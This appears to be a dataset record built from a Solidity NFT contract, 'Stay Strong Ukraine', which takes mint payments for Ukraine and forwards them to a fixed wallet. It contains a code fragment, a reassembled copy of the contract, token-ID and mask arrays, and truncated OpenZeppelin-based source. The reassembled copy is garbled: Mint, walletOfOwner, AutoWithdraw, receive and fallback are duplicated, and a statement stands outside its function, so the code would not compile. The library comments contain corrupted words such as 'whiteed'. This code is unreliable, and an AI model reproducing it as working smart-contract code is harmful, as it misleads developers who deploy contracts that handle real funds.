_baseURIAddress); } function MintID(address _to, uint256 _count, uint256 URI_ID) public whenNotPaused payable { require(URI_ID > 0, "URI_ID less that 0"); require(URI_ID <= URIIDCount, "URI_ID in not exist. Please use the function AddURI_ID()"); require(bytes(URIID[URI_ID]).length > 0, "URI_ID is not correct"); Mint(_to, _count, URIID[URI_ID]); } //Owner function setMintPrice(uint256 _newMintPrice) public onlyOwner { mintPrice = _newMintPrice; } function setBaseURI(string memory baseURI_) public onlyOwner { _baseURIAddress = baseURI_; } function setName(string memory _newName) public onlyOwner { _name = _newName; } function setSymbol(string memory newSymbol) public onlyOwner { _symbol = newSymbol; } function pause() public onlyOwner { _pause(); } function unpause() public onlyOwner { _unpause(); } function SetAutoWithdraw(bool _state) public onlyOwner { _AutoWithdraw = _state; } function UpdateURI_ID(uint256 URI_ID, string memory URIAdress) public onlyOwner{ require(URI_ID > 0, "URI_ID less that 0"); require(URI_ID <= URIIDCount, "URI_ID is not exist. Please use the function AddURI_ID()"); URIID[URI_ID] = URIAdress; } function AddURI_ID(string memory URIAdress) public onlyOwner{ URIIDCount++; URIID[URIIDCount] = URIAdress; } // Withdraw function withdraw() public { uint bal = address(this).balance; require(payable(_wallet).send(bal)); } function AutoWithdraw() public { if(_AutoWithdraw){ (bool sent, ) = payable(_wallet).call{value: address(this).balance}(""); require(sent, 'Cant send money to owners wallet.'); } } receive () external payable { AutoWithdraw(); if(msg.value > 0){ TotalEarnedForUkraine = TotalEarnedForUkraine + msg.value; } } fallback() external payable { AutoWithdraw(); if(msg.value > 0){ TotalEarnedForUkraine = TotalEarnedForUkraine + msg.value; } } }
uint256 internal MaxMintedtokenId = 0; Called when new token are issued
contract StaystrongukraineNFT is ERC721A, Pausable, Ownable { using Counters for Counters.Counter; uint256 public mintPrice = 0.01 ether; uint256 public TotalEarnedForUkraine = 0; address public immutable _wallet = 0x165CD37b4C644C2921454429E7F9358d18A45e14; bool public _AutoWithdraw = true; mapping(uint256 => string) public tokenURIAdress; mapping(uint256 => string) public URIID; uint256 public URIIDCount = 0; string private _name; string private _symbol; event Minted(address _to, uint amount); constructor( ) ERC721A("Stay Strong Ukraine", "Stay Strong Ukraine") { _symbol = "Stay Strong Ukraine"; _name ="Stay Strong Ukraine"; } function name() public override view returns (string memory) { return _name; } function symbol() public override view returns (string memory) { return _symbol; } function _baseURI() internal view virtual override returns (string memory) { return _baseURIAddress; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); return tokenURIAdress[tokenId]; } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function Mint(address _to, uint256 _count, string memory URI) private whenNotPaused { require(msg.value >= (_count * mintPrice), "Not enough ethers to buy"); AutoWithdraw(); uint256 TokenBalanceBeforMint = balanceOf(_to); _safeMint(_to, _count); for (uint256 i = (TokenBalanceBeforMint); i <= (TokenBalanceBeforMint + _count -1); i++) { uint256 TokenID = tokenOfOwnerByIndex(_to, i); tokenURIAdress[TokenID] = URI; } if(msg.value > 0){ TotalEarnedForUkraine = TotalEarnedForUkraine + msg.value; } emit Minted(_to, _count); } function Mint(address _to, uint256 _count, string memory URI) private whenNotPaused { require(msg.value >= (_count * mintPrice), "Not enough ethers to buy"); AutoWithdraw(); uint256 TokenBalanceBeforMint = balanceOf(_to); _safeMint(_to, _count); for (uint256 i = (TokenBalanceBeforMint); i <= (TokenBalanceBeforMint + _count -1); i++) { uint256 TokenID = tokenOfOwnerByIndex(_to, i); tokenURIAdress[TokenID] = URI; } if(msg.value > 0){ TotalEarnedForUkraine = TotalEarnedForUkraine + msg.value; } emit Minted(_to, _count); } function Mint(address _to, uint256 _count, string memory URI) private whenNotPaused { require(msg.value >= (_count * mintPrice), "Not enough ethers to buy"); AutoWithdraw(); uint256 TokenBalanceBeforMint = balanceOf(_to); _safeMint(_to, _count); for (uint256 i = (TokenBalanceBeforMint); i <= (TokenBalanceBeforMint + _count -1); i++) { uint256 TokenID = tokenOfOwnerByIndex(_to, i); tokenURIAdress[TokenID] = URI; } if(msg.value > 0){ TotalEarnedForUkraine = TotalEarnedForUkraine + msg.value; } emit Minted(_to, _count); } function Mint(address _to, uint256 _count) public whenNotPaused payable { Mint(_to, _count, _baseURIAddress); } function MintID(address _to, uint256 _count, uint256 URI_ID) public whenNotPaused payable { require(URI_ID > 0, "URI_ID less that 0"); require(URI_ID <= URIIDCount, "URI_ID in not exist. Please use the function AddURI_ID()"); require(bytes(URIID[URI_ID]).length > 0, "URI_ID is not correct"); Mint(_to, _count, URIID[URI_ID]); } function setMintPrice(uint256 _newMintPrice) public onlyOwner { mintPrice = _newMintPrice; } function setBaseURI(string memory baseURI_) public onlyOwner { _baseURIAddress = baseURI_; } function setName(string memory _newName) public onlyOwner { _name = _newName; } function setSymbol(string memory newSymbol) public onlyOwner { _symbol = newSymbol; } function pause() public onlyOwner { _pause(); } function unpause() public onlyOwner { _unpause(); } function SetAutoWithdraw(bool _state) public onlyOwner { _AutoWithdraw = _state; } function UpdateURI_ID(uint256 URI_ID, string memory URIAdress) public onlyOwner{ require(URI_ID > 0, "URI_ID less that 0"); require(URI_ID <= URIIDCount, "URI_ID is not exist. Please use the function AddURI_ID()"); URIID[URI_ID] = URIAdress; } function AddURI_ID(string memory URIAdress) public onlyOwner{ URIIDCount++; URIID[URIIDCount] = URIAdress; } function withdraw() public { uint bal = address(this).balance; require(payable(_wallet).send(bal)); } function AutoWithdraw() public { if(_AutoWithdraw){ require(sent, 'Cant send money to owners wallet.'); } } function AutoWithdraw() public { if(_AutoWithdraw){ require(sent, 'Cant send money to owners wallet.'); } } (bool sent, ) = payable(_wallet).call{value: address(this).balance}(""); receive () external payable { AutoWithdraw(); if(msg.value > 0){ TotalEarnedForUkraine = TotalEarnedForUkraine + msg.value; } } receive () external payable { AutoWithdraw(); if(msg.value > 0){ TotalEarnedForUkraine = TotalEarnedForUkraine + msg.value; } } fallback() external payable { AutoWithdraw(); if(msg.value > 0){ TotalEarnedForUkraine = TotalEarnedForUkraine + msg.value; } } fallback() external payable { AutoWithdraw(); if(msg.value > 0){ TotalEarnedForUkraine = TotalEarnedForUkraine + msg.value; } } }
92,173
[ 1, 11890, 5034, 2713, 4238, 49, 474, 329, 2316, 548, 273, 374, 31, 11782, 1347, 394, 1147, 854, 16865, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 934, 528, 9110, 19445, 354, 558, 50, 4464, 353, 4232, 39, 27, 5340, 37, 16, 21800, 16665, 16, 14223, 6914, 288, 203, 565, 1450, 9354, 87, 364, 9354, 87, 18, 4789, 31, 203, 203, 377, 203, 565, 2254, 5034, 1071, 312, 474, 5147, 273, 374, 18, 1611, 225, 2437, 31, 203, 203, 565, 2254, 5034, 1071, 10710, 41, 1303, 329, 1290, 57, 79, 354, 558, 273, 374, 31, 203, 203, 565, 1758, 1071, 11732, 389, 19177, 273, 374, 92, 28275, 10160, 6418, 70, 24, 39, 22087, 39, 5540, 22, 30379, 6334, 5540, 41, 27, 42, 29, 4763, 28, 72, 2643, 37, 7950, 73, 3461, 31, 203, 203, 565, 1426, 1071, 389, 4965, 1190, 9446, 273, 638, 31, 203, 203, 565, 2874, 12, 11890, 5034, 516, 533, 13, 1071, 1147, 3098, 1871, 663, 31, 203, 203, 565, 2874, 12, 11890, 5034, 516, 533, 13, 1071, 3699, 734, 31, 203, 565, 2254, 5034, 1071, 3699, 734, 1380, 273, 374, 31, 203, 203, 565, 533, 3238, 389, 529, 31, 203, 565, 533, 3238, 389, 7175, 31, 203, 203, 565, 871, 490, 474, 329, 12, 2867, 389, 869, 16, 2254, 3844, 1769, 203, 203, 565, 3885, 12, 203, 203, 565, 262, 4232, 39, 27, 5340, 37, 2932, 510, 528, 3978, 932, 587, 79, 354, 558, 3113, 315, 510, 528, 3978, 932, 587, 79, 354, 558, 7923, 288, 203, 1377, 389, 7175, 273, 315, 510, 528, 3978, 932, 587, 79, 354, 558, 14432, 203, 1377, 389, 529, 273, 6, 510, 528, 3978, 932, 587, 79, 354, 558, 14432, 2 ]
/** *Submitted for verification at Etherscan.io on 2022-03-12 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.0; // File @openzeppelin/contracts/utils/[email protected] /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File @openzeppelin/contracts/access/[email protected] /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File @openzeppelin/contracts/utils/introspection/[email protected] /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File @openzeppelin/contracts/token/ERC721/[email protected] /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been whiteed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is whiteed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File @openzeppelin/contracts/token/ERC721/[email protected] /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File @openzeppelin/contracts/token/ERC721/extensions/[email protected] /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File @openzeppelin/contracts/utils/[email protected] /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/utils/[email protected] /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File @openzeppelin/contracts/utils/introspection/[email protected] /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File @openzeppelin/contracts/token/ERC721/[email protected] /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is whiteed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * 